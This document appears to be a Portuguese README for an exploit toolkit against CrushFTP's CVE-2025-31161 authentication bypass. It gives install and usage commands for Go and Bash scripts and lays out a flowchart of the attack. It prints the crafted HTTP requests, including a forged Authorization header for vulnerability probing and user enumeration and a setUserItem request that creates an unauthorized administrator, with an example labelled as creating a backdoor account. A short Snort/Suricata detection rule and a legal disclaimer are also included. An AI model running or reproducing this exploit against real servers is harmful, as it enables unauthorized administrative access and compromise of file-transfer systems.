
Exploit para CrushFTP CVE-2025-31161 bypass de autenticação: detecta alvos vulneráveis, enumera usuários e cria contas de administrador não autorizadas por meio de requisições HTTP elaboradas em Go e Bash.
Um conjunto abrangente de ferramentas para explorar o CVE-2025-31161, uma vulnerabilidade de bypass de autenticação no CrushFTP que permite a criação não autorizada de contas de usuário.
CVE-2025-31161 é uma vulnerabilidade crítica de bypass de autenticação no CrushFTP que permite a atacantes criar contas de usuário não autorizadas sem autenticação adequada. Esta vulnerabilidade existe na funcionalidade de gerenciamento de usuários da interface web.
-t, -p, -tuCrushFTP-auth-bypass-CVE-2025-31161/
├── README.md # Esta documentação
├── cve-2025-31161.go # Implementação em Go (recomendada)
├── cve-2025-31161.sh # Implementação em Bash
└── LICENSE # Licença MIT
# Instalar Go (se ainda não estiver instalado)
sudo apt install golang-go
# ou
wget https://go.dev/dl/go1.21.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
# Requer curl (geralmente já instalado)
sudo apt install curl
git clone <repository-url>
cd CrushFTP-auth-bypass-CVE-2025-31161
chmod +x cve-2025-31161.sh
# Uso básico com flags abreviadas
go run cve-2025-31161.go -t example.com -lu
# Com porta personalizada
go run cve-2025-31161.go -t example.com -p 8080 -lu
# Flags na forma longa
go run cve-2025-31161.go --target_host example.com --port 8080 -lu
# Criar novo usuário (irá solicitar nome de usuário/senha)
go run cve-2025-31161.go -t example.com -au
# Com usuário alvo personalizado (padrão: crushadmin)
go run cve-2025-31161.go -t example.com -tu admin -au
# Flags na forma longa
go run cve-2025-31161.go --target_host example.com --target_user admin -au
# Uso básico
./cve-2025-31161.sh -t example.com -lu
# Com porta personalizada
./cve-2025-31161.sh -t example.com -p 8080 -lu
# Criar novo usuário
./cve-2025-31161.sh -t example.com -au
# Com configurações personalizadas
./cve-2025-31161.sh -t example.com -p 8080 -tu crushadmin -au
# Exemplo 1: Enumerar usuários no alvo
go run cve-2025-31161.go -t ftp.example.htb -lu
# Exemplo 2: Criar conta de backdoor
go run cve-2025-31161.go -t ftp.example.htb -au
# Em seguida, insira: username: backdoor, password: P@ssw0rd123
# Exemplo 3: Porta não padrão com enumeração de usuários
./cve-2025-31161.sh -t 192.168.1.100 -p 9090 -lu
# Visualizar ajuda
./cve-2025-31161.sh --help
flowchart TD
A[Iniciar Exploração] --> B[Verificar Conectividade do Alvo]
B --> C{Alvo Atingível?}
C -->|Não| D[Sair: Conexão Falhou]
C -->|Sim| E[Enviar Requisição getUserList]
E --> F{Resposta Contém OK?}
F -->|Não| G[Sair: Não Vulnerável]
F -->|Sim| H[Alvo é Vulnerável!]
H --> I{Modo Selecionado?}
I -->|Listar Usuários -lu| J[Analisar Resposta XML]
J --> K[Exibir Lista de Usuários]
K --> L[Sair: Sucesso]
I -->|Adicionar Usuário -au| M[Solicitar Nome de Usuário]
M --> N[Solicitar Senha]
N --> O[Enviar Requisição de Aquecimento]
O --> P[Criar Payload de Criação de Usuário]
P --> Q[Enviar Requisição setUserItem]
Q --> R{Usuário Criado com Sucesso?}
R -->|Sim| S[Sucesso: Conta Criada]
R -->|Não| T[Falhou: Exploração Falhou]
style A fill:#e1f5fe
style H fill:#c8e6c9
style K fill:#81c784
style S fill:#4caf50
style D fill:#ffcdd2
style G fill:#ffcdd2
style T fill:#ffcdd2O script primeiro envia uma requisição getUserList para verificar se o alvo é vulnerável:
GET /webinterface/function/?command=getUserList&serverGroup=MainUsers&c2f=wIwV
Cookie: CrushAuth=1758816957058_vuiPVygdYnM1kzYGOs9d3tzIbFWIwV
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
Se a resposta contiver <response_status>OK</response_status>, o alvo é vulnerável.
Ao usar a flag -lu, o script analisa a resposta XML e extrai nomes de usuário:
<user_list type="vector">
<user_list_subitem>ben</user_list_subitem>
<user_list_subitem>crushadmin</user_list_subitem>
<user_list_subitem>default</user_list_subitem>
</user_list>
Saída:
[+] Usuários:
- ben
- crushadmin
- default
Ao usar a flag -au, o script envia uma requisição setUserItem com um payload XML malicioso:
POST /webinterface/function/
Content-Type: application/x-www-form-urlencoded
command=setUserItem&data_action=replace&serverGroup=MainUsers&username=newuser&user=<USER_XML>&xmlItem=user&vfs_items=<VFS_XML>&permissions=<PERMISSIONS_XML>&c2f=31If
O script verifica a presença de <response_status>OK</response_status> na resposta para confirmar a criação bem-sucedida do usuário.
A vulnerabilidade decorre de verificações de autenticação insuficientes na funcionalidade de gerenciamento de usuários da interface web do CrushFTP. O aplicativo aceita requisições de criação de usuário sem validar adequadamente as permissões do solicitante.
setUserItem incomuns nos logs web/webinterface/function/# Exemplo de Regra Snort/Suricata
alert http any any -> any any (msg:"Tentativa de Exploração CrushFTP CVE-2025-31161"; flow:established,to_server; content:"setUserItem"; http_uri; content:"serverGroup=MainUsers"; http_client_body; sid:1000001; rev:1;)
⚠️ IMPORTANTE: Esta ferramenta foi projetada para:
NÃO USE em sistemas sem permissão explícita por escrito. O acesso não autorizado a sistemas computacionais é ilegal e pode resultar em severas consequências legais.
Contribuições são bem-vindas! Por favor:
git checkout -b feature/melhoria)git commit -am 'Adicionar nova funcionalidade')git push origin feature/melhoria)| Versão | Data | Alterações |
|---|---|---|
| 1.0.0 | 2025-01-XX | Lançamento inicial com implementações Go e Bash |
| 1.1.0 | 2025-01-XX | Modo interativo e detecção de vulnerabilidade |
Para perguntas, sugestões ou preocupações de segurança, por favor abra uma issue neste repositório.
| Flag | Forma Longa | Descrição | Padrão |
|---|
-t | --target_host | Hostname ou IP de destino (obrigatório) | - |
-p | --port | Porta de destino | 80 |
-tu | --target_user | Usuário alvo para exploração | crushadmin |
-lu | --list-users | Listar usuários existentes | - |
-au | --add-user | Adicionar novo usuário (interativo) | - |
--help | Exibir mensagem de ajuda | - |
| 1.2.0 |
| 2025-10-02 |
| Adicionado enumeração de usuários (-lu), modo separado de adicionar usuário (-au), flags abreviadas (-t, -p, -tu) |